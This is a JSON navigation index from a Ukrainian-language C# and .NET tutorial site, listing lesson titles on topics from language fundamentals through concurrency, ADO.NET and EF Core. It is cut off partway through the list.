[{"data":1,"prerenderedAt":40617},["ShallowReactive",2],{"navigation_docs":3,"-client-server-architecture-http-protocol-and-web-server":5180,"-client-server-architecture-http-protocol-and-web-server-surround":40612},[4,1707,2084,2556,2737,2863,3070,3192,3242,3299,3333,3459,3536,3550,3689,3983,4060,4793,4968,5061,5114,5176],{"title":5,"icon":6,"path":7,"stem":8,"children":9},"C#","i-devicon-csharp","\u002Fcsharp","01.csharp",[10,13,60,90,120,202,219,253,379,404,457,650,1364,1654,1703],{"title":11,"path":7,"stem":12},"C# та .NET","01.csharp\u002Findex",{"title":14,"icon":15,"path":16,"stem":17,"children":18,"page":59},"Fundamentals","i-lucide-book-open","\u002Fcsharp\u002Ffundamentals","01.csharp\u002F01.fundamentals",[19,23,27,31,35,39,43,47,51,55],{"title":20,"path":21,"stem":22},"Вступ до екосистеми .NET","\u002Fcsharp\u002Ffundamentals\u002Fintroduction-to-ecosystem","01.csharp\u002F01.fundamentals\u002F01.introduction-to-ecosystem",{"title":24,"path":25,"stem":26},"Структура програми на C#","\u002Fcsharp\u002Ffundamentals\u002Fprogram-structure","01.csharp\u002F01.fundamentals\u002F02.program-structure",{"title":28,"path":29,"stem":30},"Змінні та Типи Даних","\u002Fcsharp\u002Ffundamentals\u002Fvariables-data-types","01.csharp\u002F01.fundamentals\u002F03.variables-data-types",{"title":32,"path":33,"stem":34},"Масиви","\u002Fcsharp\u002Ffundamentals\u002Farrays","01.csharp\u002F01.fundamentals\u002F04.arrays",{"title":36,"path":37,"stem":38},"Strings & Text Handling","\u002Fcsharp\u002Ffundamentals\u002Fstrings-text-handling","01.csharp\u002F01.fundamentals\u002F05.strings-text-handling",{"title":40,"path":41,"stem":42},"Дати і Час","\u002Fcsharp\u002Ffundamentals\u002Fdates-time-handling","01.csharp\u002F01.fundamentals\u002F06.dates-time-handling",{"title":44,"path":45,"stem":46},"Потік Керування","\u002Fcsharp\u002Ffundamentals\u002Fcontrol-flow","01.csharp\u002F01.fundamentals\u002F07.control-flow",{"title":48,"path":49,"stem":50},"Методи","\u002Fcsharp\u002Ffundamentals\u002Fmethods","01.csharp\u002F01.fundamentals\u002F08.methods",{"title":52,"path":53,"stem":54},"Основи Відлагодження","\u002Fcsharp\u002Ffundamentals\u002Fdebugging-basics","01.csharp\u002F01.fundamentals\u002F09.debugging-basics",{"title":56,"path":57,"stem":58},"Інтерактивна Консоль (Classic)","\u002Fcsharp\u002Ffundamentals\u002Finteractive-console","01.csharp\u002F01.fundamentals\u002F10.interactive-console",false,{"title":61,"icon":62,"path":63,"stem":64,"children":65,"page":59},"OOP","i-lucide-box","\u002Fcsharp\u002Foop","01.csharp\u002F02.oop",[66,70,74,78,82,86],{"title":67,"path":68,"stem":69},"Package Management (Управління Пакетами)","\u002Fcsharp\u002Foop\u002Fpackage-management","01.csharp\u002F02.oop\u002F01.package-management",{"title":71,"path":72,"stem":73},"Класи та Об'єкти","\u002Fcsharp\u002Foop\u002Fclasses-objects","01.csharp\u002F02.oop\u002F02.classes-objects",{"title":75,"path":76,"stem":77},"Властивості та Поля","\u002Fcsharp\u002Foop\u002Fproperties-fields","01.csharp\u002F02.oop\u002F03.properties-fields",{"title":79,"path":80,"stem":81},"Стовпи ООП","\u002Fcsharp\u002Foop\u002Foop-pillars","01.csharp\u002F02.oop\u002F04.oop-pillars",{"title":83,"path":84,"stem":85},"Advanced Types","\u002Fcsharp\u002Foop\u002Fadvanced-types","01.csharp\u002F02.oop\u002F05.advanced-types",{"title":87,"path":88,"stem":89},"Namespaces (Простори Імен)","\u002Fcsharp\u002Foop\u002Fnamespaces","01.csharp\u002F02.oop\u002F06.namespaces",{"title":91,"icon":92,"path":93,"stem":94,"children":95,"page":59},"Advanced Core","i-lucide-zap","\u002Fcsharp\u002Fadvanced-core","01.csharp\u002F03.advanced-core",[96,100,104,108,112,116],{"title":97,"path":98,"stem":99},"Generics (Узагальнення)","\u002Fcsharp\u002Fadvanced-core\u002Fgenerics","01.csharp\u002F03.advanced-core\u002F01.generics",{"title":101,"path":102,"stem":103},"Делегати, Події та Лямбда-вирази","\u002Fcsharp\u002Fadvanced-core\u002Fdelegates-events-lambdas","01.csharp\u002F03.advanced-core\u002F02.delegates-events-lambdas",{"title":105,"path":106,"stem":107},"Interfaces Deep Dive (Інтерфейси: Поглиблений Розгляд)","\u002Fcsharp\u002Fadvanced-core\u002Finterfaces-deep-dive","01.csharp\u002F03.advanced-core\u002F03.interfaces-deep-dive",{"title":109,"path":110,"stem":111},"Обробка Винятків","\u002Fcsharp\u002Fadvanced-core\u002Fexception-handling","01.csharp\u002F03.advanced-core\u002F04.exception-handling",{"title":113,"path":114,"stem":115},"Pattern Matching","\u002Fcsharp\u002Fadvanced-core\u002Fpattern-matching","01.csharp\u002F03.advanced-core\u002F05.pattern-matching",{"title":117,"path":118,"stem":119},"Додаткові Можливості C#","\u002Fcsharp\u002Fadvanced-core\u002Fadditional-features","01.csharp\u002F03.advanced-core\u002F06.additional-features",{"title":121,"icon":122,"path":123,"stem":124,"children":125,"page":59},"Architecture Best Practices","i-lucide-building-2","\u002Fcsharp\u002Farchitecture-best-practices","01.csharp\u002F04.architecture-best-practices",[126,130,149,153,157,161,165,169],{"title":127,"path":128,"stem":129},"Software Design Principles (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fsoftware-design-principles","01.csharp\u002F04.architecture-best-practices\u002F01.software-design-principles",{"title":131,"icon":132,"path":133,"stem":134,"children":135,"page":59},"Design Patterns","i-lucide-folder","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns",[136],{"title":137,"icon":132,"path":138,"stem":139,"children":140,"page":59},"Creational","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational",[141,145],{"title":142,"path":143,"stem":144},"Singleton (Одинак)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational\u002Fsingleton","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational\u002F01.singleton",{"title":146,"path":147,"stem":148},"Builder (Будівельник)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdesign-patterns\u002Fcreational\u002Fbuilder","01.csharp\u002F04.architecture-best-practices\u002F02.design-patterns\u002Fcreational\u002F02.builder",{"title":150,"path":151,"stem":152},"Building Professional CLIs","\u002Fcsharp\u002Farchitecture-best-practices\u002Fbuilding-professional-clis","01.csharp\u002F04.architecture-best-practices\u002F03.building-professional-clis",{"title":154,"path":155,"stem":156},"Validation & Flow Control","\u002Fcsharp\u002Farchitecture-best-practices\u002Fvalidation-flow-control","01.csharp\u002F04.architecture-best-practices\u002F04.validation-flow-control",{"title":158,"path":159,"stem":160},"The Modern .NET Host (Microsoft.Extensions)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fmodern-dotnet-host","01.csharp\u002F04.architecture-best-practices\u002F05.modern-dotnet-host",{"title":162,"path":163,"stem":164},"Data Mapper: Repository та DAO патерни (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdata-mapper-part1","01.csharp\u002F04.architecture-best-practices\u002F06.data-mapper-part1",{"title":166,"path":167,"stem":168},"Data Mapper: Repository та DAO патерни (Частина 2)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdata-mapper-part2","01.csharp\u002F04.architecture-best-practices\u002F07.data-mapper-part2",{"title":170,"icon":132,"path":171,"stem":172,"children":173,"page":59},"Di Ioc","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc",[174,178,182,186,190,194,198],{"title":175,"path":176,"stem":177},"Проблема залежностей та Інверсія Контролю","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fthe-dependency-problem","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F01.the-dependency-problem",{"title":179,"path":180,"stem":181},"Будуємо власний Service Container","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fbuild-your-own-container","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F02.build-your-own-container",{"title":183,"path":184,"stem":185},"Service Locator: Паттерн та Анти-паттерн","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fservice-locator-pattern","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F03.service-locator-pattern",{"title":187,"path":188,"stem":189},"Паттерни Dependency Injection","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fdependency-injection-patterns","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F04.dependency-injection-patterns",{"title":191,"path":192,"stem":193},"Microsoft DI: IServiceCollection та IServiceProvider","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fmicrosoft-di-deep-dive","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F05.microsoft-di-deep-dive",{"title":195,"path":196,"stem":197},"Service Lifetimes та Scopes","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fservice-lifetimes-and-scopes","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F06.service-lifetimes-and-scopes",{"title":199,"path":200,"stem":201},"DI Анти-паттерни та Найкращі Практики","\u002Fcsharp\u002Farchitecture-best-practices\u002Fdi-ioc\u002Fdi-anti-patterns-and-best-practices","01.csharp\u002F04.architecture-best-practices\u002F08.di-ioc\u002F07.di-anti-patterns-and-best-practices",{"title":203,"icon":132,"path":204,"stem":205,"children":206,"page":59},"Standard Library","\u002Fcsharp\u002Fstandard-library","01.csharp\u002F05.standard-library",[207,211,215],{"title":208,"path":209,"stem":210},"Collections (Колекції)","\u002Fcsharp\u002Fstandard-library\u002Fcollections","01.csharp\u002F05.standard-library\u002F01.collections",{"title":212,"path":213,"stem":214},"High Performance Types (Високопродуктивні Типи)","\u002Fcsharp\u002Fstandard-library\u002Fhigh-performance-types","01.csharp\u002F05.standard-library\u002F02.high-performance-types",{"title":216,"path":217,"stem":218},"LINQ (Language Integrated Query)","\u002Fcsharp\u002Fstandard-library\u002Flinq","01.csharp\u002F05.standard-library\u002F03.linq",{"title":220,"icon":221,"path":222,"stem":223,"children":224,"page":59},"System Internals Concurrency","i-lucide-server","\u002Fcsharp\u002Fsystem-internals-concurrency","01.csharp\u002F06.system-internals-concurrency",[225,229,233,237,241,245,249],{"title":226,"path":227,"stem":228},"Memory Management","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fmemory-management","01.csharp\u002F06.system-internals-concurrency\u002F01.memory-management",{"title":230,"path":231,"stem":232},"Reflection API: System.Type та Метадані","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Freflection-fundamentals","01.csharp\u002F06.system-internals-concurrency\u002F02.reflection-fundamentals",{"title":234,"path":235,"stem":236},"Attributes та Dynamic Language Runtime","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fattributes-dynamic","01.csharp\u002F06.system-internals-concurrency\u002F03.attributes-dynamic",{"title":238,"path":239,"stem":240},"Expression Trees: Швидка Альтернатива Рефлексії","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fexpression-trees-compiled","01.csharp\u002F06.system-internals-concurrency\u002F04.expression-trees-compiled",{"title":242,"path":243,"stem":244},"Source Generators: Compile-Time Code Generation","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fsource-generators","01.csharp\u002F06.system-internals-concurrency\u002F05.source-generators",{"title":246,"path":247,"stem":248},"Multithreading Fundamentals","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fmultithreading-fundamentals","01.csharp\u002F06.system-internals-concurrency\u002F06.multithreading-fundamentals",{"title":250,"path":251,"stem":252},"Synchronization Primitives","\u002Fcsharp\u002Fsystem-internals-concurrency\u002Fsynchronization-primitives","01.csharp\u002F06.system-internals-concurrency\u002F07.synchronization-primitives",{"title":254,"icon":255,"path":256,"stem":257,"children":258,"page":59},"System Programming Windows","i-lucide-cpu","\u002Fcsharp\u002Fsystem-programming-windows","01.csharp\u002F07.system-programming-windows",[259,263,267,271,275,279,283,287,291,295,299,303,307,311,315,319,323,327,331,335,339,343,347,351,355,359,363,367,371,375],{"title":260,"path":261,"stem":262},"Як Працює Операційна Система","\u002Fcsharp\u002Fsystem-programming-windows\u002Fhow-os-works","01.csharp\u002F07.system-programming-windows\u002F01.how-os-works",{"title":264,"path":265,"stem":266},"Процеси в .NET — API та Запуск","\u002Fcsharp\u002Fsystem-programming-windows\u002Fprocesses-in-dotnet","01.csharp\u002F07.system-programming-windows\u002F02.processes-in-dotnet",{"title":268,"path":269,"stem":270},"Процеси в .NET — IPC та Міжпроцесна Комунікація","\u002Fcsharp\u002Fsystem-programming-windows\u002F02a.processes-ipc","01.csharp\u002F07.system-programming-windows\u002F02a.processes-ipc",{"title":272,"path":273,"stem":274},"Application Domains та Збірки — AppDomain і AssemblyLoadContext","\u002Fcsharp\u002Fsystem-programming-windows\u002Fappdomains-assemblies","01.csharp\u002F07.system-programming-windows\u002F03.appdomains-assemblies",{"title":276,"path":277,"stem":278},"Application Domains та Збірки — Plug-in Система з Hot-Reload","\u002Fcsharp\u002Fsystem-programming-windows\u002F03a.appdomains-plugin-system","01.csharp\u002F07.system-programming-windows\u002F03a.appdomains-plugin-system",{"title":280,"path":281,"stem":282},"Потоки — Основи та API Thread","\u002Fcsharp\u002Fsystem-programming-windows\u002Fthread-fundamentals","01.csharp\u002F07.system-programming-windows\u002F04.thread-fundamentals",{"title":284,"path":285,"stem":286},"Потоки — Lifecycle, Пріоритети та Безпечне Завершення","\u002Fcsharp\u002Fsystem-programming-windows\u002F04a.thread-lifecycle-priorities","01.csharp\u002F07.system-programming-windows\u002F04a.thread-lifecycle-priorities",{"title":288,"path":289,"stem":290},"Проблеми Спільного Стану — Race Condition та Data Race","\u002Fcsharp\u002Fsystem-programming-windows\u002Fshared-state-problems","01.csharp\u002F07.system-programming-windows\u002F05.shared-state-problems",{"title":292,"path":293,"stem":294},"Проблеми Спільного Стану — Memory Model та volatile","\u002Fcsharp\u002Fsystem-programming-windows\u002F05a.shared-state-memory-model","01.csharp\u002F07.system-programming-windows\u002F05a.shared-state-memory-model",{"title":296,"path":297,"stem":298},"Синхронізація — Monitor, lock та еволюція примітивів","\u002Fcsharp\u002Fsystem-programming-windows\u002Fsynchronization-fundamentals","01.csharp\u002F07.system-programming-windows\u002F06.synchronization-fundamentals",{"title":300,"path":301,"stem":302},"Синхронізація — Наскрізний Приклад та Deadlock Detection","\u002Fcsharp\u002Fsystem-programming-windows\u002F06a.synchronization-walkthrough","01.csharp\u002F07.system-programming-windows\u002F06a.synchronization-walkthrough",{"title":304,"path":305,"stem":306},"Синхронізація — Mutex, Semaphore та Event-Based Primitives","\u002Fcsharp\u002Fsystem-programming-windows\u002Fsynchronization-advanced","01.csharp\u002F07.system-programming-windows\u002F07.synchronization-advanced",{"title":308,"path":309,"stem":310},"Синхронізація — Interlocked, Volatile та Lock-Free Структури","\u002Fcsharp\u002Fsystem-programming-windows\u002F07a.synchronization-advanced-walkthrough","01.csharp\u002F07.system-programming-windows\u002F07a.synchronization-advanced-walkthrough",{"title":312,"path":313,"stem":314},"Interlocked, CAS та Lock-Free Структури","\u002Fcsharp\u002Fsystem-programming-windows\u002Finterlocked-cas-lockfree","01.csharp\u002F07.system-programming-windows\u002F08.interlocked-cas-lockfree",{"title":316,"path":317,"stem":318},"Volatile, Memory Model та Spinning","\u002Fcsharp\u002Fsystem-programming-windows\u002F08a.volatile-memory-model","01.csharp\u002F07.system-programming-windows\u002F08a.volatile-memory-model",{"title":320,"path":321,"stem":322},"ThreadPool — Пул Потоків для Ефективного Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fthread-pool","01.csharp\u002F07.system-programming-windows\u002F09.thread-pool",{"title":324,"path":325,"stem":326},"ThreadPool — Просунуті Сценарії та Внутрішня Будова","\u002Fcsharp\u002Fsystem-programming-windows\u002F09a.thread-pool-advanced","01.csharp\u002F07.system-programming-windows\u002F09a.thread-pool-advanced",{"title":328,"path":329,"stem":330},"Concurrent та Immutable Collections","\u002Fcsharp\u002Fsystem-programming-windows\u002Fconcurrent-collections","01.csharp\u002F07.system-programming-windows\u002F10.concurrent-collections",{"title":332,"path":333,"stem":334},"TPL, Task та Композиція — Від Thread до Task","\u002Fcsharp\u002Fsystem-programming-windows\u002Ftpl-parallel-plinq","01.csharp\u002F07.system-programming-windows\u002F11.tpl-parallel-plinq",{"title":336,"path":337,"stem":338},"Parallel Class та PLINQ — Data Parallelism","\u002Fcsharp\u002Fsystem-programming-windows\u002F11a.tpl-parallel-plinq-advanced","01.csharp\u002F07.system-programming-windows\u002F11a.tpl-parallel-plinq-advanced",{"title":340,"path":341,"stem":342},"Async\u002FAwait — Фундамент Асинхронного Програмування","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-fundamentals","01.csharp\u002F07.system-programming-windows\u002F12.async-fundamentals",{"title":344,"path":345,"stem":346},"SynchronizationContext та ConfigureAwait — Контекст Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-context-configureawait","01.csharp\u002F07.system-programming-windows\u002F13.async-context-configureawait",{"title":348,"path":349,"stem":350},"Async — Просунуті Паттерни","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-advanced","01.csharp\u002F07.system-programming-windows\u002F14.async-advanced",{"title":352,"path":353,"stem":354},"System.Threading.Channels — Async Producer-Consumer","\u002Fcsharp\u002Fsystem-programming-windows\u002Fchannels","01.csharp\u002F07.system-programming-windows\u002F15.channels",{"title":356,"path":357,"stem":358},"Асинхронна Синхронізація","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-synchronization","01.csharp\u002F07.system-programming-windows\u002F16.async-synchronization",{"title":360,"path":361,"stem":362},"Unsafe Code та Вказівники","\u002Fcsharp\u002Fsystem-programming-windows\u002Funsafe-code","01.csharp\u002F07.system-programming-windows\u002F17.unsafe-code",{"title":364,"path":365,"stem":366},"P\u002FInvoke та Windows API — Міст між .NET та Native Code","\u002Fcsharp\u002Fsystem-programming-windows\u002Fpinvoke-winapi","01.csharp\u002F07.system-programming-windows\u002F18.pinvoke-winapi",{"title":368,"path":369,"stem":370},"Реєстр Windows — Центральна База Конфігурації Системи","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-registry","01.csharp\u002F07.system-programming-windows\u002F19.windows-registry",{"title":372,"path":373,"stem":374},"Windows Hooks, Hotkeys та Services — Глибока Інтеграція з ОС","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-hooks-services","01.csharp\u002F07.system-programming-windows\u002F20.windows-hooks-services",{"title":376,"path":377,"stem":378},"Системне Програмування C# (Windows) — 07.system-programming-windows","\u002Fcsharp\u002Fsystem-programming-windows\u002Fimplementation_plan","01.csharp\u002F07.system-programming-windows\u002Fimplementation_plan",{"title":380,"icon":132,"path":381,"stem":382,"children":383,"page":59},"Io","\u002Fcsharp\u002Fio","01.csharp\u002F08.io",[384,388,392,396,400],{"title":385,"path":386,"stem":387},"8.1.1. Основи роботи з файловою системою","\u002Fcsharp\u002Fio\u002Ffile-system-basics","01.csharp\u002F08.io\u002F01.file-system-basics",{"title":389,"path":390,"stem":391},"8.1.2. Потоки (Streams) та Серіалізація Даних","\u002Fcsharp\u002Fio\u002Fstreams-serialization","01.csharp\u002F08.io\u002F02.streams-serialization",{"title":393,"path":394,"stem":395},"8.2.1. JSON Serialization з System.Text.Json","\u002Fcsharp\u002Fio\u002Fjson-serialization","01.csharp\u002F08.io\u002F03.json-serialization",{"title":397,"path":398,"stem":399},"8.2.2. XML Serialization та LINQ to XML","\u002Fcsharp\u002Fio\u002Fxml-serialization","01.csharp\u002F08.io\u002F04.xml-serialization",{"title":401,"path":402,"stem":403},"8.2.3. Binary Serialization: MessagePack та Protocol Buffers","\u002Fcsharp\u002Fio\u002Fbinary-serialization","01.csharp\u002F08.io\u002F05.binary-serialization",{"title":405,"icon":132,"path":406,"stem":407,"children":408,"page":59},"Ado Net","\u002Fcsharp\u002Fado-net","01.csharp\u002F09.ado-net",[409,413,417,421,425,429,433,437,441,445,449,453],{"title":410,"path":411,"stem":412},"9.1. Введення в ADO.NET","\u002Fcsharp\u002Fado-net\u002Fintroduction-to-adonet","01.csharp\u002F09.ado-net\u002F01.introduction-to-adonet",{"title":414,"path":415,"stem":416},"9.2. Клас DbConnection — з'єднання з базою даних","\u002Fcsharp\u002Fado-net\u002Fconnection","01.csharp\u002F09.ado-net\u002F02.connection",{"title":418,"path":419,"stem":420},"9.3. Клас DbCommand — виконання SQL-запитів","\u002Fcsharp\u002Fado-net\u002Fcommand-and-queries","01.csharp\u002F09.ado-net\u002F03.command-and-queries",{"title":422,"path":423,"stem":424},"9.4. Клас DbDataReader — ефективне читання даних","\u002Fcsharp\u002Fado-net\u002Fdatareader","01.csharp\u002F09.ado-net\u002F04.datareader",{"title":426,"path":427,"stem":428},"9.5. Параметризовані запити та захист від SQL Injection","\u002Fcsharp\u002Fado-net\u002Fparameters-and-sql-injection","01.csharp\u002F09.ado-net\u002F05.parameters-and-sql-injection",{"title":430,"path":431,"stem":432},"9.6. Транзакції в ADO.NET","\u002Fcsharp\u002Fado-net\u002Ftransactions","01.csharp\u002F09.ado-net\u002F06.transactions",{"title":434,"path":435,"stem":436},"9.7. DbProviderFactory — провайдер-незалежний код","\u002Fcsharp\u002Fado-net\u002Fprovider-factory","01.csharp\u002F09.ado-net\u002F07.provider-factory",{"title":438,"path":439,"stem":440},"9.8. Асинхронний доступ до даних","\u002Fcsharp\u002Fado-net\u002Fasync-data-access","01.csharp\u002F09.ado-net\u002F08.async-data-access",{"title":442,"path":443,"stem":444},"9.9. Від'єднаний режим: DataSet, DataTable, DataRow","\u002Fcsharp\u002Fado-net\u002Fdisconnected-mode-dataset","01.csharp\u002F09.ado-net\u002F09.disconnected-mode-dataset",{"title":446,"path":447,"stem":448},"9.10. DataAdapter — міст між DataSet та базою даних","\u002Fcsharp\u002Fado-net\u002Fdata-adapter","01.csharp\u002F09.ado-net\u002F10.data-adapter",{"title":450,"path":451,"stem":452},"9.11. Data Mapper та Repository: Архітектура доступу до даних","\u002Fcsharp\u002Fado-net\u002Fdata-mapper-repository","01.csharp\u002F09.ado-net\u002F11.data-mapper-repository",{"title":454,"path":455,"stem":456},"9.12. Identity Map, Unit of Work та Specification Pattern","\u002Fcsharp\u002Fado-net\u002Fadvanced-patterns","01.csharp\u002F09.ado-net\u002F12.advanced-patterns",{"title":458,"icon":255,"path":459,"stem":460,"children":461,"page":59},"Ef Core","\u002Fcsharp\u002Fef-core","01.csharp\u002F10.ef-core",[462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,532,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646],{"title":463,"path":464,"stem":465},"Що таке ORM? Від SQL до об'єктів","\u002Fcsharp\u002Fef-core\u002Fwhat-is-orm","01.csharp\u002F10.ef-core\u002F01.what-is-orm",{"title":467,"path":468,"stem":469},"Перший проєкт — від нуля до CRUD","\u002Fcsharp\u002Fef-core\u002Ffirst-project","01.csharp\u002F10.ef-core\u002F02.first-project",{"title":471,"path":472,"stem":473},"DbContext — Серце EF Core","\u002Fcsharp\u002Fef-core\u002Fdbcontext-deep-dive","01.csharp\u002F10.ef-core\u002F03.dbcontext-deep-dive",{"title":475,"path":476,"stem":477},"Провайдери баз даних — Архітектура та Вибір СУБД","\u002Fcsharp\u002Fef-core\u002Fdatabase-providers","01.csharp\u002F10.ef-core\u002F04.database-providers",{"title":479,"path":480,"stem":481},"Конвенції EF Core — Магія без конфігурації","\u002Fcsharp\u002Fef-core\u002Fconventions","01.csharp\u002F10.ef-core\u002F05.conventions",{"title":483,"path":484,"stem":485},"Fluent API та Data Annotations — Явна конфігурація моделі","\u002Fcsharp\u002Fef-core\u002Ffluent-api-vs-annotations","01.csharp\u002F10.ef-core\u002F06.fluent-api-vs-annotations",{"title":487,"path":488,"stem":489},"Зв'язки — One-to-One та One-to-Many","\u002Fcsharp\u002Fef-core\u002Frelationships-basics","01.csharp\u002F10.ef-core\u002F07.relationships-basics",{"title":491,"path":492,"stem":493},"Зв'язки Advanced — Many-to-Many та Складні Сценарії","\u002Fcsharp\u002Fef-core\u002Frelationships-advanced","01.csharp\u002F10.ef-core\u002F08.relationships-advanced",{"title":495,"path":496,"stem":497},"Властивості — Типи, Конвертери, Компаратори (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part1","01.csharp\u002F10.ef-core\u002F09.property-configuration-part1",{"title":499,"path":500,"stem":501},"Властивості — Value Comparers, Generators, Shadow Properties (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part2","01.csharp\u002F10.ef-core\u002F09.property-configuration-part2",{"title":503,"path":504,"stem":505},"Складні типи — Owned Types та Complex Types (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part1","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part1",{"title":507,"path":508,"stem":509},"Складні типи — Complex Types, Keyless Entities, Порівняння (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part2","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part2",{"title":511,"path":512,"stem":513},"JSON Columns — Складні дані у JSON (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part1","01.csharp\u002F10.ef-core\u002F11.json-columns-part1",{"title":515,"path":516,"stem":517},"JSON Columns — Value Comparers, Індекси, Провайдери (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part2","01.csharp\u002F10.ef-core\u002F11.json-columns-part2",{"title":519,"path":520,"stem":521},"Успадкування — Абстрактні класи та TPH (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finheritance-part1","01.csharp\u002F10.ef-core\u002F12.inheritance-part1",{"title":523,"path":524,"stem":525},"Успадкування — TPT, TPC та Порівняння Стратегій (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finheritance-part2","01.csharp\u002F10.ef-core\u002F12.inheritance-part2",{"title":527,"path":528,"stem":529,"children":530},"Індекси, Обмеження та Схема (Частина 1)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part1","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part1",[531],{"title":527,"path":528,"stem":529},{"title":533,"path":534,"stem":535,"children":536},"Індекси, Обмеження та Схема (Частина 2)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part2","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part2",[537],{"title":533,"path":534,"stem":535},{"title":539,"path":540,"stem":541},"Seed Data — Початкові Дані (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fseeding-part1","01.csharp\u002F10.ef-core\u002F14.seeding-part1",{"title":543,"path":544,"stem":545},"Seed Data — SQL-скрипти, Bogus та Стратегії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fseeding-part2","01.csharp\u002F10.ef-core\u002F14.seeding-part2",{"title":547,"path":548,"stem":549},"Global Query Filters — Глобальні Фільтри (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part1","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part1",{"title":551,"path":552,"stem":553},"Global Query Filters — Підводні камені та Інтеграція (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part2","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part2",{"title":555,"path":556,"stem":557},"LINQ-запити в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part1","01.csharp\u002F10.ef-core\u002F16.linq-queries-part1",{"title":559,"path":560,"stem":561},"LINQ-запити в EF Core (Частина 2)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part2","01.csharp\u002F10.ef-core\u002F16.linq-queries-part2",{"title":563,"path":564,"stem":565},"Завантаження Пов'язаних Даних (Частина 1)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part1","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part1",{"title":567,"path":568,"stem":569},"Завантаження Пов'язаних Даних (Частина 2)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part2","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part2",{"title":571,"path":572,"stem":573},"Raw SQL, Views та Stored Procedures (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part1","01.csharp\u002F10.ef-core\u002F18.raw-sql-part1",{"title":575,"path":576,"stem":577},"Raw SQL — Stored Procedures, DbFunction та Bulk Operations (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part2","01.csharp\u002F10.ef-core\u002F18.raw-sql-part2",{"title":579,"path":580,"stem":581},"Продвинуті Запити — Compiled Queries, Bulk та Оптимізація (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part1","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part1",{"title":583,"path":584,"stem":585},"Продвинуті Запити — Query Tags, Bulk та Interceptors (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part2","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part2",{"title":587,"path":588,"stem":589},"Change Tracker — Відстеження Змін (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part1","01.csharp\u002F10.ef-core\u002F20.change-tracking-part1",{"title":591,"path":592,"stem":593},"Change Tracker — Графи Об'єктів та Disconnected (Частина 